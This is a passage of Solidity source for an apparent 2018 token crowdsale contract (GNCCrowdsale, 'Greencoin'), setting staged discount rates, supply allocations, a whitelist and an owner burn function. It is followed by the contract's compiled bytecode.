ETH function Crowdsale( address _wallet ) public { require(_wallet != address(0)); wallet = _wallet; } } contract GNCCrowdsale is Ownable, Crowdsale, MintableToken { using SafeMath for uint256; /** * Price: 1 ETH = 500 token * * 1 Stage 1 ETH = 575 token -- discount 15% * 2 Stage 1 ETH = 550 token -- discount 10% * 3 Stage 1 ETH = 525 token -- discount 5% * 4 Stage 1 ETH = 500 token -- discount 0% * */ uint256[] public rates = [575, 550, 525, 500]; uint256 public weiMinSale = 1 * 10**17; mapping (address => uint256) public deposited; mapping(address => bool) public whitelist; uint256 public constant INITIAL_SUPPLY = 50 * (10 ** 6) * (10 ** uint256(decimals)); uint256 public fundForSale = 30 * (10 ** 6) * (10 ** uint256(decimals)); uint256 public fundTeam = 7500 * (10 ** 3) * (10 ** uint256(decimals)); uint256 public fundAdvisor = 4500 * (10 ** 3) * (10 ** uint256(decimals)); uint256 public fundBounty = 500 * (10 ** 3) * (10 ** uint256(decimals)); uint256 public fundPreIco = 6000 * (10 ** 3) * (10 ** uint256(decimals)); address public addressBounty = 0xE3dd17FdFaCa8b190D2fd71f3a34cA95Cdb0f635; uint256 public countInvestor; event TokenPurchase(address indexed beneficiary, uint256 value, uint256 amount); event TokenLimitReached(uint256 tokenRaised, uint256 purchasedToken); event Burn(address indexed burner, uint256 value); event HardCapReached(); event Finalized(); function GNCCrowdsale( address _owner, address _wallet, address _ownerTwo ) public Crowdsale(_wallet) { require(_wallet != address(0)); require(_owner != address(0)); require(_ownerTwo != address(0)); owner = _owner; ownerTwo = _ownerTwo; totalSupply = INITIAL_SUPPLY; bool resultMintForOwner = mintForFund(owner); require(resultMintForOwner); } // fallback function can be used to buy tokens function() payable public { buyTokens(msg.sender); } // low level token purchase function function buyTokens(address _investor) public payable returns (uint256){ require(_investor != address(0)); uint256 weiAmount = msg.value; uint256 tokens = validPurchaseTokens(weiAmount); if (tokens == 0) {revert();} weiRaised = weiRaised.add(weiAmount); tokenAllocated = tokenAllocated.add(tokens); mint(_investor, tokens, owner); TokenPurchase(_investor, weiAmount, tokens); if (deposited[_investor] == 0) { countInvestor = countInvestor.add(1); } deposit(_investor); wallet.transfer(weiAmount); return tokens; } function getTotalAmountOfTokens(uint256 _weiAmount) internal returns (uint256) { uint256 currentDate = now; //currentDate = 1529020800; //for test's (Jun, 15) uint256 currentPeriod = getPeriod(currentDate); uint256 amountOfTokens = 0; if(currentPeriod < 4){ amountOfTokens = _weiAmount.mul(rates[currentPeriod]); if(whitelist[msg.sender]){ amountOfTokens = amountOfTokens.mul(105).div(100); } if (currentPeriod == 0) { if (tokenAllocated.add(amountOfTokens) > fundPreIco) { TokenLimitReached(tokenAllocated, amountOfTokens); return 0; } } } return amountOfTokens; } function getPeriod(uint256 _currentDate) public pure returns (uint) { /** * 1527811200 - Jun, 01, 2018 00:00:00 && 1530403199 - Jun, 30, 2018 23:59:59 * 1533081600 - Aug, 01, 2018 00:00:00 && 1534377599 - Aug, 15, 2018 23:59:59 * 1534377600 - Aug, 16, 2018 00:00:00 && 1535759999 - Aug, 31, 2018 23:59:59 * 1535760000 - Sep, 01, 2018 00:00:00 && 1538351999 - Sep, 30, 2018 23:59:59 */ if( 1527811200 <= _currentDate && _currentDate <= 1530403199){ return 0; } if( 1533081600 <= _currentDate && _currentDate <= 1534377599){ return 1; } if( 1534377600 <= _currentDate && _currentDate <= 1535759999){ return 2; } if( 1535760000 <= _currentDate && _currentDate <= 1538351999){ return 3; } return 10; } function deposit(address investor) internal { deposited[investor] = deposited[investor].add(msg.value); } function mintForFund(address _wallet) internal returns (bool result) { result = false; require(_wallet != address(0)); balances[_wallet] = balances[_wallet].add(INITIAL_SUPPLY.sub(fundTeam).sub(fundAdvisor).sub(fundBounty)); balances[walletTeam] = balances[walletTeam].add(fundTeam); balances[walletAdvisor] = balances[walletAdvisor].add(fundAdvisor); balances[addressBounty] = balances[addressBounty].add(fundBounty); result = true; } function getDeposited(address _investor) public view returns (uint256){ return deposited[_investor]; } function validPurchaseTokens(uint256 _weiAmount) public returns (uint256) { uint256 addTokens = getTotalAmountOfTokens(_weiAmount); if(_weiAmount < weiMinSale){ return 0; } if (tokenAllocated.add(addTokens) > fundForSale) { TokenLimitReached(tokenAllocated, addTokens); return 0; } if (weiRaised.add(_weiAmount) > hardWeiCap) { HardCapReached(); return 0; } return addTokens; } /** * @dev Function to burn tokens. * @return True if the operation was successful. */ function ownerBurnToken(uint _value) public onlyOwner returns (bool) { require(_value > 0); require(_value <= balances[owner]); require(permissions[0].approveOwner == true && permissions[0].approveOwnerTwo == true); balances[owner] = balances[owner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(owner, _value); removePermission(0); return true; } /** * @dev Adds single address to whitelist. * @param _beneficiary Address to be added to the whitelist */ function addToWhitelist(address _beneficiary) external onlyOwner { //require(permissions[1].approveOwner == true && permissions[1].approveOwnerTwo == true); whitelist[_beneficiary] = true; } /** * @dev Adds list of addresses to whitelist. Not overloaded due to limitations with truffle testing. * @param _beneficiaries Addresses to be added to the whitelist */ function addManyToWhitelist(address[] _beneficiaries) external onlyOwner { //require(permissions[2].approveOwner == true && permissions[2].approveOwnerTwo == true); for (uint256 i = 0; i < _beneficiaries.length; i++) { whitelist[_beneficiaries[i]] = true; } } /** * @dev Removes single address from whitelist. * @param _beneficiary Address to be removed to the whitelist */ function removeFromWhitelist(address _beneficiary) external onlyOwner { //require(permissions[3].approveOwner == true && permissions[3].approveOwnerTwo == true); whitelist[_beneficiary] = false; } }
0x608060405260043610610225576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610231578063095ea7b3146102c1578063163317c61461032657806318160ddd1461035157806323b872dd1461037c5780632ff2e9dc14610401578063313ce5671461042c5780634042b66f1461045d578063466bb3121461048857806348a3cbdf146104df5780634b2c07061461050a578063521eb2731461054b57806358886dba146105a257806366188463146105f2578063688ba636146106575780636ae76777146106ae5780636b453fac1461070557806370a082311461073057806378f7aeee1461078757806379f7e600146107b257806383aa9985146107ee578063850a7eca146108455780638ab1d681146108705780638c10671c146108b35780638da5cb5b146108ee57806390762a8b14610945578063916576c81461098a57806395d89b41146109b55780639b19251a14610a45578063a9059cbb14610aa0578063bc09b5ec14610b05578063cb13cddb14610b30578063cd2d529114610b87578063d1e2eb5e14610bde578063d73dd62314610c09578063dd418ae214610c6e578063dd62ed3e14610caf578063df8de3e714610d26578063e2187e6e14610d69578063e43252d714610d94578063e6512ea214610dd7578063ec8ac4d814610e02578063f1807e3514610e4c578063f4f6d6fe14610e7c578063fc38ce1914610ea7575b61022e33610ee8565b50005b34801561023d57600080fd5b506102466110df565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561028657808201518184015260208101905061026b565b50505050905090810190601f1680156102b35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102cd57600080fd5b5061030c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611118565b604051808215151515815260200191505060405180910390f35b34801561033257600080fd5b5061033b61120a565b6040518082815260200191505060405180910390f35b34801561035d57600080fd5b50610366611210565b6040518082815260200191505060405180910390f35b34801561038857600080fd5b506103e7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611216565b604051808215151515815260200191505060405180910390f35b34801561040d57600080fd5b506104166115ee565b6040518082815260200191505060405180910390f35b34801561043857600080fd5b506104416115ff565b604051808260ff1660ff16815260200191505060405180910390f35b34801561046957600080fd5b50610472611604565b6040518082815260200191505060405180910390f35b34801561049457600080fd5b506104c9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061160a565b6040518082815260200191505060405180910390f35b3480156104eb57600080fd5b506104f4611653565b6040518082815260200191505060405180910390f35b34801561051657600080fd5b5061053560048036038101908080359060200190929190505050611659565b6040518082815260200191505060405180910390f35b34801561055757600080fd5b506105606116fd565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105ae57600080fd5b506105cd60048036038101908080359060200190929190505050611723565b6040518083151515158152602001821515151581526020019250505060405180910390f35b3480156105fe57600080fd5b5061063d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061176c565b604051808215151515815260200191505060405180910390f35b34801561066357600080fd5b5061066c6119fd565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106ba57600080fd5b506106c3611a23565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561071157600080fd5b5061071a611a49565b6040518082815260200191505060405180910390f35b34801561073c57600080fd5b50610771600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a4f565b6040518082815260200191505060405180910390f35b34801561079357600080fd5b5061079c611a98565b6040518082815260200191505060405180910390f35b3480156107be57600080fd5b506107ec600480360381019080803560ff169060200190929190803515159060200190929190505050611a9e565b005b3480156107fa57600080fd5b50610803611c72565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561085157600080fd5b5061085a611c98565b6040518082815260200191505060405180910390f35b34801561087c57600080fd5b506108b1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c9e565b005b3480156108bf57600080fd5b506108ec600480360381019080803590602001908201803590602001919091929391929390505050611dad565b005b3480156108fa57600080fd5b50610903611f07565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561095157600080fd5b5061097060048036038101908080359060200190929190505050611f2d565b604051808215151515815260200191505060405180910390f35b34801561099657600080fd5b5061099f612250565b6040518082815260200191505060405180910390f35b3480156109c157600080fd5b506109ca612256565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610a0a5780820151818401526020810190506109ef565b50505050905090810190601f168015610a375780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610a5157600080fd5b50610a86600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061228f565b604051808215151515815260200191505060405180910390f35b348015610aac57600080fd5b50610aeb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506122af565b604051808215151515815260200191505060405180910390f35b348015610b1157600080fd5b50610b1a6125bc565b6040518082815260200191505060405180910390f35b348015610b3c57600080fd5b50610b71600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506125c2565b6040518082815260200191505060405180910390f35b348015610b9357600080fd5b50610b9c6125da565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610bea57600080fd5b50610bf3612600565b6040518082815260200191505060405180910390f35b348015610c1557600080fd5b50610c54600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612606565b604051808215151515815260200191505060405180910390f35b348015610c7a57600080fd5b50610c9960048036038101908080359060200190929190505050612802565b6040518082815260200191505060405180910390f35b348015610cbb57600080fd5b50610d10600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612825565b6040518082815260200191505060405180910390f35b348015610d3257600080fd5b50610d67600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506128c4565b005b348015610d7557600080fd5b50610d7e612c88565b6040518082815260200191505060405180910390f35b348015610da057600080fd5b50610dd5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612c8e565b005b348015610de357600080fd5b50610dec612d9d565b6040518082815260200191505060405180910390f35b610e36600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ee8565b6040518082815260200191505060405180910390f35b348015610e5857600080fd5b50610e7a600480360381019080803560ff169060200190929190505050612da3565b005b348015610e8857600080fd5b50610e91612eca565b6040518082815260200191505060405180910390f35b348015610eb357600080fd5b50610ed260048036038101908080359060200190929190505050612ed0565b6040518082815260200191505060405180910390f35b60008060008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610f2857600080fd5b349150610f3482612ed0565b90506000811415610f4457600080fd5b610f5982600c54612fb690919063ffffffff16565b600c81905550610f7481600d54612fb690919063ffffffff16565b600d81905550610fa78482600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612fd4565b508373ffffffffffffffffffffffffffffffffffffffff167fcd60aa75dea3072fbc07ae6d7d856b5dc5f4eee88854f5b4abf7b680ef8bc50f8383604051808381526020018281526020019250505060405180910390a26000601160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414156110635761105c6001601954612fb690919063ffffffff16565b6019819055505b61106c846131be565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f193505050501580156110d4573d6000803e3d6000fd5b508092505050919050565b6040805190810160405280600981526020017f477265656e636f696e000000000000000000000000000000000000000000000081525081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60155481565b60015481565b6000600360046020820201600036905014151561122f57fe5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561126b57600080fd5b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483111515156112b957600080fd5b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054831115151561134457600080fd5b61139683600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461325690919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061142b83600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fb690919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114fd83600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461325690919063ffffffff16565b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601260ff16600a0a6302faf0800281565b601281565b600c5481565b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60145481565b600081635b108c80111580156116735750635b38197f8211155b1561168157600090506116f8565b81635b60f800111580156116995750635b74be7f8211155b156116a757600190506116f8565b81635b74be80111580156116bf5750635b89d67f8211155b156116cd57600290506116f8565b81635b89d680111580156116e55750635bb1637f8211155b156116f357600390506116f8565b600a90505b919050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a8181548110151561173257fe5b906000526020600020016000915090508060000160009054906101000a900460ff16908060000160019054906101000a900460ff16905082565b600080600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083111561187d576000600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611911565b611890838261325690919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600e5481565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600d5481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611b475750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515611b5257600080fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415611be05780600a8360ff16815481101515611bbb57fe5b9060005260206000200160000160006101000a81548160ff0219169083151502179055505b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415611c6e5780600a8360ff16815481101515611c4957fe5b9060005260206000200160000160016101000a81548160ff0219169083151502179055505b5050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60045481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611d475750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515611d5257600080fd5b6000601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611e585750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515611e6357600080fd5b600090505b82829050811015611f02576001601260008585858181101515611e8757fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611e68565b505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611fd85750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515611fe357600080fd5b600082111515611ff257600080fd5b60026000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561206257600080fd5b60011515600a600081548110151561207657fe5b9060005260206000200160000160009054906101000a900460ff1615151480156120ce575060011515600a60008154811015156120af57fe5b9060005260206000200160000160019054906101000a900460ff161515145b15156120d957600080fd5b61214d8260026000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461325690919063ffffffff16565b60026000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506121c78260015461325690919063ffffffff16565b600181905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a26122476000612da3565b60019050919050565b60135481565b6040805190810160405280600381526020017f474e43000000000000000000000000000000000000000000000000000000000081525081565b60126020528060005260406000206000915054906101000a900460ff1681565b600060026004602082020160003690501415156122c857fe5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561230457600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054831115151561235257600080fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480156123b0575060045442105b156123ba57600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015612418575060035442105b1561242257600080fd5b61247483600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461325690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061250983600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fb690919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b60175481565b60116020528060005260406000206000915090505481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60195481565b600061269782600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fb690919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600f8181548110151561281157fe5b906000526020600020016000915090505481565b6000600260046020820201600036905014151561283e57fe5b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205491505092915050565b600080600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806129705750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561297b57600080fd5b60008373ffffffffffffffffffffffffffffffffffffffff161415612a1f57600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015612a19573d6000803e3d6000fd5b50612c83565b8291508173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015612abd57600080fd5b505af1158015612ad1573d6000803e3d6000fd5b505050506040513d6020811015612ae757600080fd5b810190808051906020019092919050505090508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015612bbf57600080fd5b505af1158015612bd3573d6000803e3d6000fd5b505050506040513d6020811015612be957600080fd5b810190808051906020019092919050505050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35b505050565b60035481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480612d375750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515612d4257600080fd5b6001601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60165481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480612e4c5750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515612e5757600080fd5b6000600a8260ff16815481101515612e6b57fe5b9060005260206000200160000160006101000a81548160ff0219169083151502179055506000600a8260ff16815481101515612ea357fe5b9060005260206000200160000160016101000a81548160ff02191690831515021790555050565b60105481565b600080612edc8361326f565b9050601054831015612ef15760009150612fb0565b601354612f0982600d54612fb690919063ffffffff16565b1115612f59577f77fcbebee5e7fc6abb70669438e18dae65fc2057b32b694851724c2726a35b62600d5482604051808381526020018281526020019250505060405180910390a160009150612fb0565b600e54612f7184600c54612fb690919063ffffffff16565b1115612fac577f9788c3426de973293d591b3f0e14ad70f5569c28608c87c18153eabc2a157eed60405160405180910390a160009150612fb0565b8091505b50919050565b6000808284019050838110151515612fca57fe5b8091505092915050565b600061302883600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fb690919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506130bd83600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461325690919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885846040518082815260200191505060405180910390a28373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600190509392505050565b61321034601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fb690919063ffffffff16565b601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b600082821115151561326457fe5b818303905092915050565b60008060008042925061328183611659565b91506000905060048210156133ad576132bc600f838154811015156132a257fe5b9060005260206000200154866133b990919063ffffffff16565b9050601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561333a5761333760646133296069846133b990919063ffffffff16565b6133ec90919063ffffffff16565b90505b60008214156133ac5760175461335b82600d54612fb690919063ffffffff16565b11156133ab577f77fcbebee5e7fc6abb70669438e18dae65fc2057b32b694851724c2726a35b62600d5482604051808381526020018281526020019250505060405180910390a1600093506133b1565b5b5b8093505b505050919050565b600080828402905060008414806133da57508284828115156133d757fe5b04145b15156133e257fe5b8091505092915050565b60008082848115156133fa57fe5b04905080915050929150505600a165627a7a72305820